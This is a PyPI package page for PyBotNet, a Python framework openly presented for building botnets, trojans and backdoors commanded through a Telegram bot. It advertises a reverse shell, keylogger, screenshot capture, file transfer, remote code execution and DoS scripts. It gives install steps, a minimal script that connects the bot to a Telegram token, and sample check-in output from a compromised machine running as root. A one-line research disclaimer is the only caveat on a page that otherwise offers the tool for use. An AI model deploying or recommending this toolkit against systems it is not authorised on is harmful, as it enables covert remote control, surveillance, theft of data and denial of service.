Skip to main content

A Python framework for building remote control, botnet , trojan or backdoor with Telegram or other control panels

Project description

trojan horse

PyBotNet

A Python framework for building remote control, botnet , trojan or backdoor with Telegram or other control panels

Disclaimer: Please note that this is a research project. I am by no means responsible for any usage of this tool. Use it on your behalf!.


Source Code: https://github.com/onionj/pybotnet

Documentation: https://onionj.github.io/pybotnet/

ToDo List: https://github.com/users/onionj/projects/1


Features:

  • Built in Telegram control pannel and proxy system
  • Built in scripts like:
    • reverse shell
    • put or get file
    • run python code on target systems
    • get screenshot
    • keylogger
    • dos
    • scheduler
    • ...
  • Cross platform
  • Ability to easily add custom scripts
  • Import external scripts
  • Ability to add custom control panel
  • Add remote control to your apps
  • ...

Install PyBotNet

pip3 install pybotnet -U
  • -U: make sure to upgrade framework to latest version.

The simplest PyBotNet file could look like this:

# in main.py
from pybotnet import BotNet, TelegramEngine


telegram_engine = TelegramEngine(token=TELEGRAM_TOKEN, admin_chat_id=ADMIN_CHAT_ID) #(1)

botnet = BotNet(telegram_engine) # (2)
botnet.run()
  1. create engine: Engines transfer messages between admin and botnet
  2. create BotNet instance

note:

  • TELEGRAM_TOKEN: You can use telegram @botfather to Create new telegram API Bot and get your TELEGRAM_TOKEN
  • ADMIN_CHAT_ID: Get it from @userinfobot telegram bot
  • PyBotNet include default scripts, like: /shell, /put_file, /get_file, /screenshot, /who, ..., you can send /help to your telegram bot and see more detail..

Run code:

python3 main.py

telegram engine

open telegram and send /who command to your bot; If you have done the steps correctly, you recive a message like this:

scripts_name:
    echo
    who
    shell
    screenshot
    put_file
    get_file
    runcode
    openurl
    dos
    schedule

mac_addres: 228362405364
os: Linux
global_ip: 5.10.30.35
country: Iran, Islamic Republic of
bot_name: no_name
local_ip: {'192.168.23.1'}
host_name: {'system_name'}
system_user: root
up_time: 0:00:01
current_route: /
pid: 148352
cpu_count: 8
pybotnet_version: 2.0.8b0
from cache: True

you can send /help to see help page, or send /help <script_name> to recive more help about a specific script.

for example send /help screenshot, You will receive:

NAME:
screenshot

DESCRIPTION:
get screen shot
    * `[mac-address] /screenshot`
    or
    * `/screenshot`

    example command: 
        * `94945035671481 /screenshot`
        * `/screenshot` 

    return: img or img-download-link
    

script_version: 0.0.1
default_script: True

___________________________
scripts_name: ['echo', 'who', 'shell', 'screenshot', 'put_file', 'get_file', 'runcode', 'openurl', 'dos', 'schedule']
mac_addres: 228362405364
os: Linux
global_ip: 5.10.30.35
country: Iran, Islamic Republic of
bot_name: no_name
use_proxy: False

in top of message you see script name, description, syntax, and examples.

for run screenshot script you have two choice:

  • Run the script on all clients that are listening to Telegram bot (for now we have one!)
  • Run script on one specific system

for run script on all client send /screenshot.

bot if you need to get screen-shot on a specific system you need to send [mac_addres] /screenshot for our case: 228362405364 /screenshot

in some case like /shell you need to run it just for one system.

For see who we can Add custom scripts, Run in background, Running the pybotnet without coding, and etc, see the below documentation.

For more, see Documentation


Contributors ✨

Thanks goes to these wonderful people :


TorhamDev


SepehrRasouli

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

pybotnet-2.2.5.tar.gz (32.4 kB view details)

Uploaded Source

Built Distribution

pybotnet-2.2.5-py3-none-any.whl (37.4 kB view details)

Uploaded Python 3

File details

Details for the file pybotnet-2.2.5.tar.gz.

File metadata

  • Download URL: pybotnet-2.2.5.tar.gz
  • Upload date:
  • Size: 32.4 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/5.0.0 CPython/3.10.13

File hashes

Hashes for pybotnet-2.2.5.tar.gz
Algorithm Hash digest
SHA256 ad11396d38a788b7013915b8a236f19f86149ad3762ee4a42eaa2e149b67aa37
MD5 070962bee0387f805a204234ffecdbfc
BLAKE2b-256 8967d01fb3064d8e1a4beb40d867ae3166bb74ea1c9c5dd1102c047b4333c93c

See more details on using hashes here.

File details

Details for the file pybotnet-2.2.5-py3-none-any.whl.

File metadata

  • Download URL: pybotnet-2.2.5-py3-none-any.whl
  • Upload date:
  • Size: 37.4 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/5.0.0 CPython/3.10.13

File hashes

Hashes for pybotnet-2.2.5-py3-none-any.whl
Algorithm Hash digest
SHA256 c850c79c4f7fc3843464a84e7d32c47f3a544891b9e6ad7092bed58325cce5ab
MD5 522739fe2f7b6927ee24f6723d8e28bf
BLAKE2b-256 f845d888d6b130131e4d255ebcd1caaa86b9fab2a103ee6ca46b4fa4bb6e70ba

See more details on using hashes here.

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page